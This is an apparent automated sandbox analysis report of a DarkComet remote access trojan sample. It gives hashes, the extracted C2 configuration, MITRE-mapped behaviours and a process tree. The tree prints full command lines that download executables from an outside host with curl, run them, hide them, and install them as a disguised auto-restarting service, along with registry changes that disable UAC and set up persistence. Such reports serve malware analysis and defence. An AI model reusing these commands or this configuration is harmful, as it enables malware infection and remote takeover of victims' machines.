darkcomet | 12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4

Analysis

max time kernel
143s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2024 20:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ExploitDownloader.exe
Size

27KB
MD5

d363863c21f0d453eaaa438f00027554
SHA1

7ba078266d3151068b500b9ce8cc4e579ad84a4a
SHA256

12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4
SHA512

1ff53e7a3f6eee3b99111a79bded3106fb809bd494b23839a5790a78f8b6baedbfaa707a16ceda481f93edde4d9b8bae06f12c444e16f7def5ce06f297f2bc37
SSDEEP

384:SsuozKPc0cDxRHXLRq418p/d6tVqQ4m9lHM1UopuJE5UjovhObRZUbjMUWDBVhIB:TLLIXTEs1Urjov4RScUWD7hq7W2e0W0

Score

10^/10

darkcomet guest16 discovery evasion persistence rat trojan upx

Malware Config

Extracted

Family

darkcomet

Botnet

Guest16

147.185.221.24:14161

Mutex

RO_MUTEX-QFYD2RJ

Attributes

InstallPath
MSDCSC\msdcsc.exe
gencode
scW2Kk9yHEWs
install
true
offline_keylogger
true
persistence
false
reg_key
GoogleDebugJ

Signatures

Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
trojan rat darkcomet
Darkcomet family
darkcomet

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe"	test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe,C:\\Windows\\TEMP\\MSDCSC\\msdcsc.exe"	IntelGpuUpdater.exe

Downloads MZ/PE file

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5056	attrib.exe
3968	attrib.exe
400	attrib.exe
4304	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	test.exe

Executes dropped EXE 7 IoCs

pid	Process
2736	test.exe
3064	msdcsc.exe
4552	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3716	IntelGpuUpdater.exe
4172	msdcsc.exe
396	IntelGpuUpdater.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleDebugJ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe"	test.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000b000000023b5f-2.dat	upx
behavioral2/memory/2736-3-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/2736-42-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/3716-53-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/3716-88-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/4172-90-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/3064-92-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/396-94-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/396-110-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/3064-111-0x0000000000400000-0x00000000004B7000-memory.dmp	upx
behavioral2/memory/396-112-0x0000000000400000-0x00000000004B7000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\IntelGpuUpdater.exe	cmd.exe
File created	C:\Windows\IntelGpuUpdaterHelper.exe	cmd.exe
File opened for modification	C:\Windows\IntelGpuUpdater.exe	attrib.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
404	sc.exe
2448	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1544	3932	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IntelGpuUpdaterHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IntelGpuUpdaterHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IntelGpuUpdater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msdcsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IntelGpuUpdater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msdcsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	test.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExploitDownloader.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4472	timeout.exe

Modifies data under HKEY_USERS 44 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System	msdcsc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E2BF9676-5F8F-435C-97EB-11607A5BEDF7} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000ac8da00a3244db01	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = 6024b221ea3a6910a2dc08002b30309d9d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosDX = "768"	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{F81E9010-6EA4-11CE-A7FF-00AA003CA9F6} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000392a9e0a3244db01	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosX = "26"	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosY = "26"	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{1D27F844-3A1F-4410-85AC-14651078412D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000ac8da00a3244db01	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msdcsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fPasteOriginalEOL = "0"	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{596AB062-B4D2-4215-9F74-E9109B0A8153} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000006a63990a3244db01	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies	msdcsc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosDY = "555"	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fWrapAround = "0"	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{99D353BC-C813-41EC-8F28-EAE61E702E57} {A08CE4D0-FA25-44AB-B57C-C7B1C323E0B9} 0xFFFF = 0100000000000000392a9e0a3244db01	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{23170F69-40C1-278A-1000-000100020000} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000ac8da00a3244db01	IntelGpuUpdater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fWindowsOnlyEOL = "0"	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fMatchCase = "0"	notepad.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E2BF9676-5F8F-435C-97EB-11607A5BEDF7} {A08CE4D0-FA25-44AB-B57C-C7B1C323E0B9} 0xFFFF = 0100000000000000ac8da00a3244db01	IntelGpuUpdater.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{470C0EBD-5D73-4D58-9CED-E91E22E23282} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000ac8da00a3244db01	IntelGpuUpdater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fReverse = "0"	notepad.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	test.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe
3888	IntelGpuUpdaterHelper.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2736	test.exe
Token: SeSecurityPrivilege	2736	test.exe
Token: SeTakeOwnershipPrivilege	2736	test.exe
Token: SeLoadDriverPrivilege	2736	test.exe
Token: SeSystemProfilePrivilege	2736	test.exe
Token: SeSystemtimePrivilege	2736	test.exe
Token: SeProfSingleProcessPrivilege	2736	test.exe
Token: SeIncBasePriorityPrivilege	2736	test.exe
Token: SeCreatePagefilePrivilege	2736	test.exe
Token: SeBackupPrivilege	2736	test.exe
Token: SeRestorePrivilege	2736	test.exe
Token: SeShutdownPrivilege	2736	test.exe
Token: SeDebugPrivilege	2736	test.exe
Token: SeSystemEnvironmentPrivilege	2736	test.exe
Token: SeChangeNotifyPrivilege	2736	test.exe
Token: SeRemoteShutdownPrivilege	2736	test.exe
Token: SeUndockPrivilege	2736	test.exe
Token: SeManageVolumePrivilege	2736	test.exe
Token: SeImpersonatePrivilege	2736	test.exe
Token: SeCreateGlobalPrivilege	2736	test.exe
Token: 33	2736	test.exe
Token: 34	2736	test.exe
Token: 35	2736	test.exe
Token: 36	2736	test.exe
Token: SeIncreaseQuotaPrivilege	3064	msdcsc.exe
Token: SeSecurityPrivilege	3064	msdcsc.exe
Token: SeTakeOwnershipPrivilege	3064	msdcsc.exe
Token: SeLoadDriverPrivilege	3064	msdcsc.exe
Token: SeSystemProfilePrivilege	3064	msdcsc.exe
Token: SeSystemtimePrivilege	3064	msdcsc.exe
Token: SeProfSingleProcessPrivilege	3064	msdcsc.exe
Token: SeIncBasePriorityPrivilege	3064	msdcsc.exe
Token: SeCreatePagefilePrivilege	3064	msdcsc.exe
Token: SeBackupPrivilege	3064	msdcsc.exe
Token: SeRestorePrivilege	3064	msdcsc.exe
Token: SeShutdownPrivilege	3064	msdcsc.exe
Token: SeDebugPrivilege	3064	msdcsc.exe
Token: SeSystemEnvironmentPrivilege	3064	msdcsc.exe
Token: SeChangeNotifyPrivilege	3064	msdcsc.exe
Token: SeRemoteShutdownPrivilege	3064	msdcsc.exe
Token: SeUndockPrivilege	3064	msdcsc.exe
Token: SeManageVolumePrivilege	3064	msdcsc.exe
Token: SeImpersonatePrivilege	3064	msdcsc.exe
Token: SeCreateGlobalPrivilege	3064	msdcsc.exe
Token: 33	3064	msdcsc.exe
Token: 34	3064	msdcsc.exe
Token: 35	3064	msdcsc.exe
Token: 36	3064	msdcsc.exe
Token: SeAssignPrimaryTokenPrivilege	3716	IntelGpuUpdater.exe
Token: SeLockMemoryPrivilege	3716	IntelGpuUpdater.exe
Token: SeIncreaseQuotaPrivilege	3716	IntelGpuUpdater.exe
Token: SeTcbPrivilege	3716	IntelGpuUpdater.exe
Token: SeSecurityPrivilege	3716	IntelGpuUpdater.exe
Token: SeTakeOwnershipPrivilege	3716	IntelGpuUpdater.exe
Token: SeLoadDriverPrivilege	3716	IntelGpuUpdater.exe
Token: SeSystemProfilePrivilege	3716	IntelGpuUpdater.exe
Token: SeSystemtimePrivilege	3716	IntelGpuUpdater.exe
Token: SeProfSingleProcessPrivilege	3716	IntelGpuUpdater.exe
Token: SeIncBasePriorityPrivilege	3716	IntelGpuUpdater.exe
Token: SeCreatePagefilePrivilege	3716	IntelGpuUpdater.exe
Token: SeCreatePermanentPrivilege	3716	IntelGpuUpdater.exe
Token: SeBackupPrivilege	3716	IntelGpuUpdater.exe
Token: SeRestorePrivilege	3716	IntelGpuUpdater.exe
Token: SeShutdownPrivilege	3716	IntelGpuUpdater.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3064	msdcsc.exe
4172	msdcsc.exe
396	IntelGpuUpdater.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 524	5020	ExploitDownloader.exe	84
PID 5020 wrote to memory of 524	5020	ExploitDownloader.exe	84
PID 5020 wrote to memory of 524	5020	ExploitDownloader.exe	84
PID 524 wrote to memory of 3980	524	cmd.exe	85
PID 524 wrote to memory of 3980	524	cmd.exe	85
PID 524 wrote to memory of 3980	524	cmd.exe	85
PID 5020 wrote to memory of 1812	5020	ExploitDownloader.exe	86
PID 5020 wrote to memory of 1812	5020	ExploitDownloader.exe	86
PID 5020 wrote to memory of 1812	5020	ExploitDownloader.exe	86
PID 1812 wrote to memory of 2772	1812	cmd.exe	87
PID 1812 wrote to memory of 2772	1812	cmd.exe	87
PID 1812 wrote to memory of 2772	1812	cmd.exe	87
PID 2772 wrote to memory of 4464	2772	cmd.exe	88
PID 2772 wrote to memory of 4464	2772	cmd.exe	88
PID 2772 wrote to memory of 4464	2772	cmd.exe	88
PID 2772 wrote to memory of 2736	2772	cmd.exe	89
PID 2772 wrote to memory of 2736	2772	cmd.exe	89
PID 2772 wrote to memory of 2736	2772	cmd.exe	89
PID 2772 wrote to memory of 4472	2772	cmd.exe	90
PID 2772 wrote to memory of 4472	2772	cmd.exe	90
PID 2772 wrote to memory of 4472	2772	cmd.exe	90
PID 2736 wrote to memory of 3924	2736	test.exe	91
PID 2736 wrote to memory of 3924	2736	test.exe	91
PID 2736 wrote to memory of 3924	2736	test.exe	91
PID 2736 wrote to memory of 3952	2736	test.exe	92
PID 2736 wrote to memory of 3952	2736	test.exe	92
PID 2736 wrote to memory of 3952	2736	test.exe	92
PID 3952 wrote to memory of 5056	3952	cmd.exe	95
PID 3952 wrote to memory of 5056	3952	cmd.exe	95
PID 3952 wrote to memory of 5056	3952	cmd.exe	95
PID 3924 wrote to memory of 3968	3924	cmd.exe	96
PID 3924 wrote to memory of 3968	3924	cmd.exe	96
PID 3924 wrote to memory of 3968	3924	cmd.exe	96
PID 2736 wrote to memory of 3064	2736	test.exe	97
PID 2736 wrote to memory of 3064	2736	test.exe	97
PID 2736 wrote to memory of 3064	2736	test.exe	97
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 3064 wrote to memory of 3932	3064	msdcsc.exe	98
PID 5020 wrote to memory of 1700	5020	ExploitDownloader.exe	104
PID 5020 wrote to memory of 1700	5020	ExploitDownloader.exe	104
PID 5020 wrote to memory of 1700	5020	ExploitDownloader.exe	104
PID 1700 wrote to memory of 2784	1700	cmd.exe	105
PID 1700 wrote to memory of 2784	1700	cmd.exe	105
PID 1700 wrote to memory of 2784	1700	cmd.exe	105

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3968	attrib.exe
400	attrib.exe
4304	attrib.exe
5056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ExploitDownloader.exe
"C:\Users\Admin\AppData\Local\Temp\ExploitDownloader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Windows\SysWOW64\curl.exe
      curl https://dontuseme.ct8.pl/test.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4464
  - - C:\Users\Admin\AppData\Local\test.exe
      C:\Users\Admin\AppData\Local\test.exe
      4⤵
      Modifies WinLogon for persistence
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\test.exe" +s +h
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3924
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib "C:\Users\Admin\AppData\Local\test.exe" +s +h
        6⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:3968
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local" +s +h
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3952
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib "C:\Users\Admin\AppData\Local" +s +h
        6⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:5056
    - - C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3064
      - C:\Windows\SysWOW64\notepad.exe
        
        notepad
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 232
        7⤵
        Program crash
        
        PID:1544
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 5
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:4472
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2784
  - - C:\Windows\SysWOW64\curl.exe
      curl https://dontuseme.ct8.pl/test.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3576
  - - C:\Windows\SysWOW64\curl.exe
      curl https://dontuseme.ct8.pl/nssm.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4524
  - - C:\Windows\IntelGpuUpdaterHelper.exe
